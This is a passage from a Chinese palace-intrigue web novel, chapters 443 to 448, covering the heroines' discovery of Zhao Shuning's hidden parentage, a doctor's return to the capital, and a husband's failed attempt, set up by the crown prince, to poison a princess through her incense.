虽然她离得远,没有看清楚那人脸上的伤疤究竟是不是陈年伤疤,但她心里已经有了答案。 那定然就是赵书宁无疑。 萧宝珠以最快的速度回到公主府,然后去见了陆知苒,将这件事原原本本尽数道来。 陆知苒面色骤然变了。 “你看清楚了吗?” 第443章 赵虎和赵书宁的关系 萧宝珠有些尴尬地摇头,“我的确没看清楚她的脸,但那身形我看清楚了,与赵书宁一模一样。” 陆知苒一时沉默,没有说话。 萧宝珠见此,以为她是不相信自己的话,更加急切地解释。 “苒姐姐,你相信我,我真的觉得那个人很像赵书宁!身形像也就算了,她还刚好会医术,哦对了,她也姓赵!这一切是不是太巧了?这么多巧合,定然有鬼!” 萧宝珠碎碎念着,陆知苒只捕捉到了一个讯息。 赵书宁也姓赵。 诚然,姓赵的人很多,但在此时,任何一条线索都值得被过度解读。 宁可多想,也不能因为一时侥幸错过真相。 陆知苒脑中飞快回忆赵书宁的生平和家境,但此前从未了解过,如今努力回想也想不起来。 她转而开始回想赵家的情况。 此前派人调查的讯息,此刻重新闪现在脑中。 原本忽视的一件事,此时也被重新翻了出来。 萧晏临的舅舅赵虎,曾在西平任职,但因玩忽职守,强占良家妇女被处以军法,活活打死了。 赵书宁的年龄,跟这刚好对得上。 难道,赵书宁是赵虎的血脉? 陆知苒忽而开口,“宝珠,你觉不觉得赵书宁和太子长得有点像?” 萧宝珠愣了愣。 此前她从未想过这个问题,此时被陆知苒一提醒,她将两个人摆在一起,当真发现了相似之处。 “真的诶!他们的五官轮廓有点像,尤其是眼睛,长得十分相似!难道赵书宁是赵昭仪在外头生的野孩子?那她岂不是给我父皇戴了绿帽子?” 萧宝珠脑洞大开,顿时让陆知苒哭笑不得。 赵昭仪常年深居后宫,从未去过西平,与赵书宁的年龄和身份都对不上。 她说出了自己的猜测,萧宝珠这才恍然大悟。 “没错,定是这样!那赵书宁定是赵虎的女儿,若非如此,八皇兄也不会费心费力地把赵书宁从死牢中救出来。” 陆知苒眸色幽深,“此事我们还没有验证过,但想来定是错不了,只可惜,谷将军身陷囹圄,不然,他定能提供其他更多线索。” 至少,谷栖山见过赵虎,从容貌上或许会有所联想。 萧宝珠立马道:“这有何难,我去找谷将军,当面问问他。” 陆知苒蹙眉,“你是否为难?若打草惊蛇,反倒不美。” 萧宝珠拍着胸脯保证,“我又不劫狱,问句话罢了,不是什么难事,旁人也不可能长了顺风耳。” 陆知苒闻言,便不再反对。 “也好。” 正好也能看看谷栖山在狱中的情况如何,是否受了刑。 萧宝珠没有能力把他救出来,但让他在狱中好过些,还是能做得到的。 她是个风风火火的性子,趁着天色尚早,她立马就去了。 黄昏时分,她匆匆回来,带回一个消息。 “苒姐姐,确定了,赵书宁就是赵虎的血脉!这是谷将军亲口说的!” 谷栖山当初派人调查赵虎时,就隐约觉得自己曾在某个人的身上看到过这种熟悉感,只是一时没有想起究竟是谁。 萧宝珠提起赵虎和赵书宁,谷栖山心中那如云遮雾绕的模糊感瞬间消失,一切陡然清明了。 那两张脸几乎瞬间重合。 谷栖山给出了十分笃定的答案。 陆知苒眸色沉沉,“如此,一切就说得通了。” 赵书宁明明出身西平的小农户之家,却识文断字,还习得一身医术,这一切都得益于她的身份。 赵家人定早就查到了她的身份,所以才会暗中提供帮助。 只是不知,赵书宁此前对自己的身份是否知晓? 她多半是不知晓的。 她若知道自己还有这么一个大靠山,在楚家只怕又是另一番表现。 不过这已经不重要了。 “苒姐姐,我们该怎么办?要怎样揭穿他们?” 赵书宁是德丰帝亲口下旨处斩的,萧晏临却将她救了出来,还改头换面,堂而皇之地出现在皇宫中,这分明是欺君,更是送上门的一个大把柄。 此事揭开,再加上赵家鱼肉百姓的罪行,萧晏临这个太子就当不下去了。 萧宝珠神情激动,恨不得立马冲进宫去向德丰帝告状。 陆知苒面露沉吟,“此事我们需得从长计议,必须要一击即中,不然你就危险了。” 萧宝珠也一下冷静下来,想到萧晏临那有些阴冷的眼神,她不禁升起一股不寒而栗之感。 二人正在商议此事,就有心腹丫鬟来敲门,“公主,栖月阁那头派人送来了这支青玉簪,还说,昙花开了。” 这话说得没头没尾,陆知苒不解其意,萧宝珠的眼睛却骤然亮了,迸射出难以掩饰的惊喜。 她接过那青玉簪,在手中反复看了好几遍,确认真假,这才道:“你速速派人回话,旧阁备茶,待月共赏!” 心腹丫鬟得令而去。 萧宝珠一脸欣喜地看着陆知苒,压低了声音,“苒姐姐,阿笙回来了!” 栖月阁,是她与蒋南笙的秘密基地。 昙花开了,则是二人约见的暗语。 萧宝珠出宫时,便会邀蒋南笙到栖月阁“幽会”。 而这支青玉簪也是她赠给蒋南笙的。 陆知苒闻言,亦面露欣喜。 蒋南笙归来简直再好不过,至少,她在德丰帝的病情上或许能帮得上忙。 萧宝珠立马就要去赴约,陆知苒也一道前去。 她依旧扮作婢女,跟着萧宝珠悄悄出了门。 二人到了栖月阁,萧宝珠直奔三楼而去。 “阿笙!” 萧宝珠推开厢房门,一把就将人抱住,蒋南笙赶忙伸手挡,“宝珠,我身上脏。” 他们这一路风尘仆仆,此时的她衣裳脏污,发髻凌乱,肤色晒黑了不少,眼底更布满了红血丝,看上去满是疲惫。 中途他们遇到了不少波折意外,这才耽搁了回京的时间,一进城就急着给萧宝珠传信,根本没时间好好洗漱。 萧宝珠顾不上嫌弃她身上脏,只觉得满腹心疼。 “每次出门都把自己搞得这般狼狈,以后再不许你出门了。” 蒋南笙一脸宠溺地看着她笑,“好好好,都听你的。” 萧宝珠根本不信,以往她也这般糊弄自己。 但眼下不是叙旧的时候,萧宝珠拉着她坐下,“阿笙,我有要紧事要与你相商……” 这时她才注意到,包厢里还有另一人。 是林铮。 第444章 仇恨的力量是巨大的 他像个隐形人一样站在一侧,又穿着一身黑衣,毫无存在感。 蒋南笙则是看到了随后进来的陆知苒。 她已经听说陆知苒潜逃的消息,眼下朝廷已经颁布通缉令,全力捉拿,原本蒋南笙还在为她担心,没想到她是被宝珠藏起来了。 萧宝珠:“林铮,你怎么也在?” 蒋南笙:“知苒,你没事,太好了。” 二人同时开口。 萧宝珠的语气略带嫌弃,蒋南笙则是满心欢喜。 林铮依旧像木头似的站着,对于萧宝珠的嫌弃充耳不闻。 蒋南笙替林铮说话,“这段时间多亏阿铮跟在我身边保护我,不然我也没法全须全尾地出现在这里。” 萧宝珠自然也知道,她只是习惯性地看林铮不顺眼罢了。 阿笙这么优秀,什么样的世家子都配得上,最后反倒叫林铮捡了便宜。 林铮开口,对蒋南笙道:“我在门口守着。” 蒋南笙点头,他便去了,十分听话。 蒋南笙直入主题,“正事要紧,我们便不多说废话了。” 三人坐在一处,开始互相交换彼此的信息。 从蒋南笙的口中,她们也得知了滇南府的情况,直听得她们心头七上八下。 滇南府的情况,如她们预料的一样糟糕。 前有狼后有虎,实在是令人揪心。 尤其是得知萧晏辞要翻过白虎岭,突袭南越国大后方,陆知苒和萧宝珠的心都提了起来。 这个计划凶险万分,但也是滇南府能获得一线生机的唯一法子。 “原本我早该抵达京城,但在玄武峰遇到了八皇子派去滇南府的探子,遭到了对方的追杀,为了对付他们,这才耽搁了时间。” “从时间上推断,他们和南越国多半已经交战了,只是京中还尚未有消息传回来。阿铮已经让海东青前去传信,它的速度比人快许多,过不了多久我们就能知道滇南府的近况。” 林铮的那只海东青,便是在羌地时养的那只。 他离开西平时本不欲将它带走,因为它是属于那片大草原的,但林铮与它道别时,它竟听懂了,一路跟着林铮不愿离开。 林铮便将它留了下来,他们此去南边,海东青也一直跟着。 它还帮他们不少忙,立了不少功劳。 她这话让两人安心不少。 消息不通,两眼一抹黑,是最令人焦虑的。 只有知道了消息,哪怕是坏消息,也能让她们及时做出应对。 蒋南笙问,“我听说皇上病重了?” 萧宝珠眼底露出黯然,将近日父皇的身体状况一一告知,其中包括她们刚刚发现的赵书宁的身份。 蒋南笙得知赵书宁之事,震惊得无以复加。 “她竟如此命大!” 古人云,祸害遗千年,的确不假。 萧宝珠顾不上声讨赵书宁,她只担心德丰帝的身体。 “阿笙,我父皇定是被他们联手害了的,你有没有法子救救他?这次父皇看起来是好了不少,但我始终不能放心,父皇的好肯定是暂时的。” 蒋南笙听了德丰帝的身体状况,心头不禁一沉。 自己如果早些赶回来,或许他们就没机会得手了。 事已至此,懊悔无用,解决问题才最重要。 蒋南笙握住她的手,出言安抚。 “宝珠你先别急,你得先想法子把我送进宫,让我给皇上诊一诊脉。” 萧宝珠不禁面露难色。 让蒋南笙公然入宫诊脉是不可能的,萧晏临定不会让她给德丰帝诊治,坏了自己的计划。 可眼下宫中内外都被萧晏临把持,不知道有多少双眼睛盯着,萧宝珠也不敢保证能否找到机会让蒋南笙入宫诊脉。 但凡事总要试一试,不然就真的只能坐以待毙了。 “此事我会尽快安排。” 冯有才或许能提供帮助。 蒋南笙看出了萧宝珠的担忧,也再次意识到了眼下局面的紧张。 八皇子的势力发展,比自己想象中更快。 他的实力,不容小觑。 眼下他们孤立无援,不能贸然寻求外援,不然只怕对方居心叵测,反倒暴露了自己。 此时能信任的,要么是绝对的亲信,要么,就是利益一致的人。 陆知苒想到了一个人。 “宝珠,你可以派人去给四公主传个信,让她近日衣食住行,方方面面都小心些。” 萧宝珠有些一头雾水。 好端端的,怎么就提到了四皇姐?又为何要提醒她小心? 萧宝珠还没想明白,蒋南笙却是意会了。 “你是觉得太子会派人灭口?” 四公主公然质疑赵书宁的身份,虽当时糊弄了过去,但事后她若是细想,再次生出怀疑,甚至把此事宣扬出去,赵书宁的身份就会受到怀疑。 众口铄金,积毁销骨。更何况,此事本就是真的,根本经不起细查。 若事情闹大,赵书宁这颗棋子保不住不说,太子也会受到波及。 最好的法子就是除掉四公主,永绝后患。 萧宝珠也后知后觉地明白过来。 陆知苒点头,“太子心思毒辣,有这么一个隐患,他定然不会放过。四公主的安危我并不在乎,但我想多一个帮手。” 萧婉贞原本就痛恨赵书宁,若她知道自己再次险些被赵书宁害死,她对对方的恨意定然达到顶峰,连带着,对萧晏临也会生出恨意。 仇恨的力量是巨大的。 以萧婉贞的性格,定会想方设法地把这笔仇报了。 这个时候,能有这么一个盟友,于她们而言百利无害。 就算萧晏临没有派人下手也没关系,她们只需要把赵书宁与赵虎的关系告知萧婉贞,也同样能激起对方的恨意。 萧宝珠立马道:“待回了府,我立马命人悄悄给四皇姐传信!” 别人不知,她可再清楚不过,她这皇姐心眼子小得很,她知道了这件事,定饶不了他们。 三人商定了初步计划,时间已经不早。 萧宝珠问,“你们现在住在何处?跟我一块儿住进公主府吧,我那儿安全。” 蒋南笙摇头,“我就住在这里,方便行走和调查,住进公主府反倒不便。” 栖月阁表面是一处茶楼,但也有厢房。 这里的人都是心腹,她住在这里并不担心安全问题。 萧宝珠闻言,便不再强求,与陆知苒一道离开了。 第445章 给你当面首,我甘之如饴 待她们走后,林铮才从门口进来。 看到蒋南笙眼底的那抹疲色,他的心中涌起一股心疼。 “时间不早了,早些休息吧,这段时日,你都累坏了。” 蒋南笙打了个大哈欠,即便已经困得不行,却还是有自己的坚持,“不行,我得好好洗一洗。” 在路上的时候不能洗也就罢了,眼下回了京,算是到了自己的地盘,她不想亏待自己。 林铮看着她,低声道:“我伺候你洗。” 蒋南笙掀起眼皮看他,眼底闪过一抹似笑非笑。 “你是嫌我不够累吗?” 林铮一脸正色,“我只是帮你洗澡,没想做什么。” 蒋南笙伸手,轻轻在他的掌心上挠了一下。 “那就劳烦你了。” 林铮依旧一脸正色,但耳根上却染上一抹薄红。 这一路来,林铮鞍前马后,将她的一切都料理得井井有条,她根本不用操半点心。 有他在,蒋南笙觉得安心又舒坦。 蒋南笙恢复记忆之后,林铮对她便十分克制,把所有的心思都藏在心底。 但喜欢一个人,是无论如何都藏不住的。 在南越国时,为了方便行事,他们再次扮作了夫妻。 林铮克制守礼,不敢冒犯。 但有一回,林铮中了迷情蛊,他为了避免自己伤了蒋南笙,竟打算挥刀自宫。 最后他自然没有挥下那一刀,蒋南笙霸气地将他剥光了。 一夜酣战,他解了蛊,蒋南笙差点累散架了。 林铮愧悔难当,恨不得再次挥刀自宫,向蒋南笙请罪。 蒋南笙声音沙哑,“男欢女爱,没什么大不了的,我都不在乎,你在乎什么?” 她又道:“只是我与你说过,我要立女户,不打算成婚,我心志依旧不改。” 林铮眼底闪过黯然,“从此以后我定恪守本分,再不敢逾矩冒犯。” 蒋南笙伸手勾起他的下巴,一脸认真地望着他。 “阿铮,昨晚,我挺满意的。你呢?” 林铮的脸瞬间涨红了,一时说不出话来。 蒋南笙见此,心中便已有了答案。 “阿铮,我不介意你的冒犯。你若愿意,我们亦可像寻常夫妻那般。当然,你若觉不妥,我亦不会勉强,你若觅得良人,自可成婚,我定不会阻拦。” 她只馋他的身子,却不想被婚姻束缚。 这想法有点无耻,但真的很诱人。 蒋南笙说完,就认真地等他的答复。 见他久久不语,反而恶狠狠地瞪着她,一副受了奇耻大辱的模样,蒋南笙心中叹息。 果然,自己想白嫖,他不愿意。 虽然遗憾,但她也并非死缠烂打之人,收回手,也收回自己的话。 “算了,就当我没说。” 谁料,下一瞬,她一阵天旋地转,竟是被林铮压在了榻上。 蒋南笙的瞳孔瞪得很大,眼底都是茫然。 林铮依旧是那副恶狠狠的表情,声音也咬牙切齿般。 “我说过,不许你再撵我走!除了你,我谁都不娶!” “还有,方才的话,你已经说了,我也听到了,岂能随随便便反悔?” 蒋南笙这时才后知后觉反应过来他生气的原因。 她眨巴眨巴眼睛,“那你是愿意?” 林铮依旧恶狠狠的,但眼底明显闪过不自在,只从鼻腔中发出一声“嗯”算是回答。 蒋南笙觉得他这副样子委实有趣,便故意逗他。 “嗯是什么意思?说话。” 林铮沙哑着嗓音开口。 “我的性命是你救的,你便是让我去死,我都别无二话。” 蒋南笙反问,“万一你宁死不屈呢?” 林铮:“我对阿蘅倾心慕之,若能为阿蘅入幕之宾,乃我三生之幸。” 蒋南笙早知他心思,但听他这话,心尖还是禁不住微微一颤。 “旁人若说你是我的面首,你面上岂不是要挂不住?” 林铮低垂眼帘,“事实如此,我甘之如饴。” 蒋南笙没想到以往三棍子打不出一个闷屁的人,说起情话来竟也如此无师自通。 有了面首的名分,在人前,二人相处依旧如常,但私底下,林铮看她的眼神就似拉丝一般黏腻,有时候又似小狗一样湿乎乎的。 他也非常尽职尽责,只要蒋南笙勾勾手指头,他就能把她伺候得舒舒服服。 只是他们毕竟肩负任务,在南越国也不是游山玩水的,所以十分克制。 他也就伺候她“沐浴”了一次罢了。 后来,很长一段时间里,他俩都臭了,也没机会再沐浴。 林铮将浴汤备好,蒋南笙脱了衣物泡了进去,发出一声舒服的喟叹,没多会儿,她就靠着浴桶睡着了。 林铮虔诚地给她擦洗,动作轻柔而认真。 他依旧会为她的身体着迷,但见她如此困倦的模样,他生不起半点绮思,只有心疼。 这段时日她太累了,也吃了很多苦。 待京中的局势稳定了,定要让她好好歇一歇,再不许她到处瞎跑。 在这一点上,他和萧宝珠的想法达成了一致。 夜半时分,萧婉贞依旧没有入眠。 今日从皇宫离开,她的脸色就不大好看。 哪怕已经有了解释,萧婉贞心里依旧存了一个疙瘩,脑中不受控制地回忆着自己所见的情形。 那人的身形,还有那双眼睛,越想越像赵书宁。 而且两人都精通医术,这些巧合太多了,就更加引人怀疑。 就算那人不是赵书宁,她因为那小小民女,受了太子一顿训斥,失了脸面,这也让她记恨上了对方。 一个来历不明的民女,侥幸治好了父皇,有什么好得意的? 奈何她现在地位大不如前,只能仰仗太子,便是想教训一个民女,也根本无能为力。 萧婉贞心情郁郁,第二日,整个人的状态就不大好,眼底一片青黑,连带着,伺候的丫鬟都吃了一顿训斥。 这时,下人来通传,“九公主府的秦嬷嬷来了,说是您昨日在宫中遗落了东西,给您送来了。” 萧婉贞并未多想,“让她放下吧。” 下人却道:“秦嬷嬷说,那物件十分要紧,九公主交代了要亲手交还给您。” 萧婉贞一头雾水,她昨日并未遗失什么要紧的物件。 但她还是让人把秦嬷嬷请了进来。 秦嬷嬷先给她行了一礼,这才从袖中把一封书信取出,恭敬递给萧婉贞。 “四公主,这便是我家公主让奴婢转交之物。我家公主说,请您当面看看,东西是否有损坏,奴婢也好回去回个话。” 萧婉贞依旧面露疑惑。 她接了过来,打开,原本漫不经心的神色,在看到上面的内容之后骤然变了,浑身都立马渗出冷汗来。 第446章 没几天活头了 她立马将下人遣退,声音微颤地开口。 “秦嬷嬷,这当真是你家公主让你送来的?” 秦嬷嬷点头,“千真万确,奴婢万不敢隐瞒。” “她这上面所述是真是假?” “回四公主,奴婢只是传话的,并不知我家公主在信中写了什么。我家公主只说,四公主聪颖过人,定能明辨是非。” 萧婉贞捏着那书信,手背青筋一阵阵凸起。 半晌,她才让人把秦嬷嬷送了出去。 心腹见她神色有异,不禁出声询问,“公主,可是发生了何事?” 萧婉贞看着眼前人,“云袖,本公主能相信你吗?” 云袖立马跪下表忠,“公主,奴婢自小便伺候在您的身边,奴婢对您忠心耿耿,绝无二心。” 萧婉贞紧绷的心弦慢慢放松。 这是她最亲近的身边人,她的性命拿捏在自己手里,她不敢背叛自己。 萧婉贞将那封信递给云袖,整个人周身都笼着一抹阴沉。 云袖看罢,险些惊呼出声。 “这,怎会……太子与您是亲姐弟,怎会害您?” 信中内容很简单,只提醒萧婉贞要小心太子害她性命。 萧婉贞冷冷一笑,“我与他可不是什么亲姐弟,我们统共也没说过几句话,哪有什么姐弟情?至于他为何欲害我,自然是因为心虚。” 昨日在宫中那番插曲,云袖也在。 她脑子飞快转着,很快就反应过来,顿时惊得瞪大了眼睛。 “难道,那林医女当真是……” 她没说完后半段话,但主仆都知晓她的未尽之意。 云袖依旧有些不敢置信,“公主,这会不会是九公主的挑拨离间?” 萧婉贞心中的天平已经有了倾斜,但也不排除萧宝珠挑拨的可能。 她便道:“那便按兵不动,看看是否会有鱼儿上钩。” 若萧晏临当真要除掉她,多半会通过她的身边人下手。 她现在有了防备,对方想要得手可没那么容易。 相反,自己还能来个瓮中捉鳖。 萧婉贞与云袖关起门商议了一番。 而那头,秦嬷嬷已经回到九公主府复命。 “四公主看了您的信,吓得脸色都白了,还再三询问信中之事的真假。” 萧宝珠点头。 此事办妥,她便暂时撇到一边,不再去管。 该提醒的她已经提醒过了,四皇姐若相信她,自己警醒,或能逃过一劫。 若她不以为意,那便是死了也活该。 至于她能否成为自己的帮手,那就是之后的事了。 萧宝珠并没有把希望寄托在她的身上。 她再次入了宫。 这次入宫,她一方面是查探父皇的情况,另一方面,也要为接下来安排蒋南笙入宫看诊做准备。 她们的一切计划,都得建立在父皇安然无恙的前提下。 若父皇出事,萧晏临登基,他们想要再扭转局势,就更加难了。 没成想,这次入宫,德丰帝的病情又严重了。 今日再次罢朝。 萧宝珠看着病床上昏睡不醒的人,眼泪禁不住簌簌滚落。 只过了一日,父皇的面相都变了,脸上的老人斑更加明显,甚至还散发出一股若有若无的臭气。 她想上前,被冯有才拦住了。 “公主,皇上身上有病气,您莫靠得太近了,免得过了病气。” 萧宝珠心中悲痛难当。 “定是那赵……那林芳害得父皇变成这般模样!” 说曹操,曹操到。 赵书宁来了。 她奉了太子之命前来给德丰帝诊治。 萧宝珠一看到他,目光便定在她的身上,眼底的厌恶不加掩饰。 “你给我父皇用了什么药?害我父皇变成现在这般模样?” 赵书宁慌忙请罪,“民女惶恐,民女所用之药都是经太医院的太医查看过的,绝无问题。” “那我父皇怎么一夜之间就变成了这般模样?” 赵书宁见到龙床上的德丰帝,鼻尖又嗅到了那股子腐朽之气,也暗暗心惊。 德丰帝的病情竟然发展得这般快,只怕是那牵丝蛊对他产生了反噬。 他这般状态,怕是活不久了。 赵书宁提出再为德丰帝诊脉,萧宝珠直接拒绝了,还要让人把她抓起来。 “你把我父皇害成这般模样,合该下大狱!来人,把她抓起来,大刑伺候!” 这人是赵书宁,那她就没有什么好客气的。 赵书宁眼下是民女的身份,面对萧宝珠的刁难,她只能求饶。 但萧宝珠不为所动,很快就有人上前将她押住。 赵书宁心中大骂,这蠢货蛮不讲理,自己莫不是真的要在她的手底下受磋磨? 正这时,一道怒喝声传来,“住手。” 赵昭仪脚步匆匆而来,一把将赵书宁护在身后。 “公主,林医女是救治皇上的功臣,你这是在做什么?” 萧宝珠见赵昭仪那副老母鸡护崽的模样,眼底顿时喷火。 “父皇服了她的药,现在已经人事不省了,赵昭仪还要为她邀功?你莫不是盼着父皇出事?” 这么一顶大帽子扣下来,赵昭仪眼皮一跳,慌忙否认。 “公主慎言!嫔妾绝无此心!” “那你就别拦着,本公主今日定要处置了这罪魁祸首!” 赵昭仪依旧没有认,“公主,林医女的医术有目共睹,先前皇上的病便是她治好的,眼下皇上病情反复也是沉疴淤积,岂能怪到林医女的头上?” “那怪在谁头上?” 赵昭仪心想,自然是怪在皇上自己的头上。 他本就半死不活,便是华佗在世也无能为力,眼下终于快死了,那也是天命如此。 但这话自是不能说的。 赵昭仪避开这个问题,只一再偏袒赵书宁,一副定要保她的架势。 萧宝珠见此,心中发恨。 但也知道自己今日不能将她如何,只得道:“那便让她滚,从此以后,她若再出现在宫里,我见一次打一次!” 赵昭仪面皮抖动,心中显然怒极。 自从她的儿子当上太子之后,还没人敢用这样的态度跟她说话。 赵书宁先低了头,“民女身份卑微,本就没有资格为皇上诊治。且民女的能力有限,已经把毕生所学尽数用上了,对皇上的病症再无能为力。从此以后,民女不会再踏入宫门半步。” 德丰帝身上已有了濒死的腐臭之气,自己的确没必要再入宫了。 萧宝珠从鼻腔中发出一声重重的冷哼,“算你还有几分自知之明!” 第447章 卢子阳下毒 赵书宁行了一礼便转身离开了,赵昭仪深吸了几口气,到底是平复了怒意。 这小贱人现在还能在自己面前耀武扬威,待她儿子登基了,自己有的是法子把这笔账讨回来。 赵昭仪进到殿内,本是打算在德丰帝的床前好好哭一场,表达一番自己的担忧和悲痛之情,但那股子味道实在太恶心,她演技再好也坚持不下去,很快就红着眼眶走了。 讨厌的人都走了,萧宝珠并没有放松。 父皇的情况让她揪心。 她再不想等了,再等下去,父皇就真的死了。 她压着声音对冯有才道:“冯公公,我想带一个人进宫给父皇诊脉,但此事不能声张,你能帮帮我吗?” 她看着冯有才,眼底带着哀求。 冯有才低着头,“公主,咱家只是个奴才,能做的实在有限。” 萧宝珠语气急切,“这件事很要紧,绝不能大意,我不能冒半分风险。这养心殿里,我能信任的就只有你了。” 冯有才一时没说话。 萧宝珠语气更加急切,“公公,父皇的病不能再拖了,八皇兄对父皇有歹心,我不能坐视不管。” 冯有才忙道:“公主,太子对皇上一片孝心,您万不能这般揣测,伤了你们的兄妹情分。” 萧宝珠胸中有千言万语要说,但最终都尽数咽了回去。 眼下不是说这些的时候。 她只想让阿笙给父皇诊脉。 “公公,那人一定能治好父皇的,我只是担心有人从中阻挠,所以只能偷偷地来,有公公帮忙,此事定然不会被人发现。” 冯有才依旧低着头,口中连连推拒,“公主,老奴只是个奴才,很多事也无能为力。” 萧宝珠有些着急,不待她继续游说,冯有才就继续道:“皇上这边无需公主操心,反倒是柔贵妃,她现在身处冷宫,不知情况如何,公主若有余力,或可帮衬一二。” 萧宝珠微愣。 柔贵妃被打入冷宫之后,她只去看过一次。 柔贵妃看上去一切都好,还反过来宽慰她,萧宝珠后来就没有再去了。 冯有才此时突然提起柔贵妃,是什么意思?难道她被刁难苛待了?萧宝珠立马心头一凛。 柔贵妃可不能出事,不然,日后七皇兄回来了,自己可没法交代。 带阿笙入宫的事,今日已经来不及了,便先去看看柔贵妃吧,若那些宫人敢苛待她,自己定要好生敲打,决不轻饶。 萧宝珠抬步,风风火火地就去了。 冯有才看着她离开的背影,又看看床上昏睡不醒的德丰帝,神色莫名。 萧晏临得知了赵书宁被萧宝珠赶走之事,眉头微微蹙了蹙。 他抽空去看了德丰帝,见他病情加重了,微不可察地松了口气。 看来,父皇没有几天日子了。 这样也好。 父皇寿终正寝了,也省得自己动手。 他坐在德丰帝的床头,神情悲痛。 即便那股臭气直往鼻子里钻,他也稳稳坐在床头,握着德丰帝的手。 离开了养心殿,他这才取出帕子,仔仔细细地将自己的手擦干净,然后将帕子随意丢在地上。 “烧了。” 身后宫人连忙应是。 他现在代理政事,已经成了御书房的主人。 他坐在龙椅上,双手一遍遍摩挲着龙椅的把手,眼底都是狂热与痴迷。 他距离皇位,不过只差一个名分罢了。 不枉他的母妃和外祖十几年的谋划,而今,他终于坐上了这个位置。 并没有想象中难。 他的那些哥哥们,也不过如此。 正这时,有宫人入内回禀,“太子,九公主去了冷宫,还要给柔贵妃请御医,奴才实在拦不住。” 萧晏临闻言,脸上原本的笑意就淡了几分。 他这个妹妹,父皇在时便受宠,性子无法无天,如今父皇都快死了,她依旧半点没变。 她以为,父皇死了之后,自己会惯着她吗? “随她。现在柔贵妃也不能死。” 宫人得了这话,这才松了口气。 两边都是自己得罪不起的贵人,他们夹在中间,实在为难。 萧宝珠给柔贵妃请了御医,一个多时辰后才从冷宫离开。 御医离开了冷宫之后,就被传到了御书房。 萧晏临以一副关切的语气询问了柔贵妃的情况,那御医恭恭敬敬地回答。 “柔贵妃脉来如轻刀刮竹,沉部见涩而浮部带弦。此乃肝木横逆犯胃之象,是久思伤脾所致。此症要治愈也不难,只需保持心情愉悦即可。” 萧晏临又问了几句,并无任何异常,他便没再多管。 翌日,萧宝珠依旧雷打不动地入宫,这一次,她身后的宫女中多了一个平平无奇的陌生面孔。 她先去养心殿探望了皇上,然后又去了冷宫,再次给柔贵妃请了御医。 接连好几日,皆是如此。 有了萧晏临的默许,此事并未受到阻拦。 一切都风平浪静。 四公主府中,却发生了一场波澜。 自从萧婉贞被赵书宁陷害禁足,她在卢家的地位便大不如前,驸马卢子阳对萧婉贞更是冷淡。 萧婉贞也心灰意冷,彻底断了与卢子阳重修旧好的想法,搬回了四公主府,与女儿关起门来过自己的日子,而卢子阳从未登门。 但这几日,卢子阳却破天荒地来了公主府。 他以探望女儿的名义前来,对待萧婉贞的态度也转变不少,甚至称得上温柔。 萧婉贞心中的警铃瞬间响了起来。 她冷不丁想到了萧宝珠给她送的那封信。 这男人那么久都没有来看过自己一眼,现在却突然来了,还装得这么温柔,事出反常必有妖! 萧婉贞没有甩冷脸,反而露出无比感动的模样,一家三口坐在一起吃了一顿久违的团圆饭。 饭后,卢子阳还在萧婉贞面前诉了一番衷肠,表达他对她的思念和爱意云云。 当晚,卢子阳还留宿了。 萧婉贞想要弄清楚他葫芦里究竟卖的什么药,这才没有赶人,只是以自己来了月事为由,没有与他同房。 当晚,萧婉贞也保持着警惕,没有真的睡熟。 果然,到了后半夜,卢子阳鬼鬼祟祟地起身,不知做了些什么。 第二日,他早早离开了。 萧婉贞立马派人将自己的屋子里里外外都搜了一遍。 最后,在她熏香的炉鼎中发现了问题。 那里面被投了毒! 第448章 求人不如求己 萧婉贞花了几日的时间,多方验证了那毒药的毒性,无一例外,得到的都是同样的答案。 那是一种名为笑春风的剧毒,只要熏香点着,那毒就会挥发,闻香者面泛红晕如沐春风,过不了多久,就会中毒身亡! 这个结果让萧婉贞脸色发白,一股愤怒又后怕的情绪袭上心头。 萧婉贞又派人去调查卢子阳近日的动向,果然发现他那段时间结交了一个人,而对方是太子的幕僚。 萧婉贞牙关都在打颤,这一刻,她对太子和卢子阳的恨意达到了顶峰。 云袖的脸也白了,“公主,我们现在该怎么办?驸马此计不成,难保不会有下一次。更怕的是太子那边……” 卢子阳好对付,但若太子要杀人灭口,多的是手段。 此时,萧婉贞甚至生出了要同归于尽的念头。 但最后还是将这念头压下了。 她还不想死。 而且,她现在与萧晏临作对,是鸡蛋碰石头,自寻死路。 究竟该怎么办? 萧婉贞自诩聪明,但此刻她却六神无主起来了。 还是云袖提议,“公主,要不,我们去向九公主讨个主意?” 萧婉贞略一犹豫,点头答应了。 萧宝珠刚从宫中回到府上,就听门房回禀,“四公主来了,眼下在正厅小坐。” 萧宝珠闻言顿时了然。 定是自己先前的提醒有了下文。 萧宝珠很快见到了萧婉贞,此时的她面容憔悴,眼底多了一抹淡淡青黑,分明是没有休息好的模样。 面对萧宝珠,她的态度也客气了许多。 “宝珠,冒昧登门,希望没有打扰到你。” 萧宝珠微微挑眉,这可是自己这个皇姐第一次对自己这般客气有礼。 她也不兜圈子,“皇姐有事只管说,不必客气。” 萧婉贞这才直入主题。 她将卢子阳受太子指使投毒之事道来,此时提起,她依旧恨得咬牙切齿。 萧宝珠也不禁打了个寒战。 原本她还存了一丝侥幸,觉得是自己小人之心了。 现在才发现,自己还是低估了人性之恶。 萧婉贞感激地看着萧宝珠,“宝珠,这次多亏你提醒,不然,我毫无防备,只怕真的要中招了。” 萧宝珠也不推辞,“你的确该感谢我,四皇姐,你今日来找我,定然不是只为了感谢我吧。” “没错,宝珠,我想请你帮帮我,我现在该怎么办?” 她露出无助与惶恐来,这样的她让萧宝珠感到有些陌生,同时生出了共情。 四皇姐的转变,是因为李贵妃和六皇兄都死了,她没了可以依仗的资本。 而自己呢?她的母后也离世了,父皇也生死难料。 她可以预见,父皇一旦出事,八皇兄登基,自己定然也会被清算。 萧宝珠轻轻握住萧婉贞的手,“四皇姐,我的处境其实并不比你好多少,你与其求我,不如求求你自己。你的生机掌握在自己的手里。” 萧婉贞一时愣住,没有反应过来。 “我,我能有什么法子自救?” 萧宝珠目光定定地望着她,“八皇兄表里不一,锱铢必较,对我们这些姐妹也全无半分情分,他一旦登基,我们都落不到好。唯一的自救法子,就是把他从太子之位上拉下来。” 萧婉贞心头一跳,“可,这谈何容易?” 眼下朝堂局面完全一边倒,谁能撼动萧晏临的地位? 若父皇能好起来,或许事情还能有转机,但眼下的局面,父皇根本不可能好起来。 萧宝珠语气坚定,“事在人为,他现在还只是太子,只要他一日没有登上那个位置,事情就还有转机。别的不说,赵书宁之事,不就是一个现成的把柄?若我们能查出证据,证明他暗度陈仓,把赵书宁从狱中救了出来,他就必然受到大家群起攻之。” 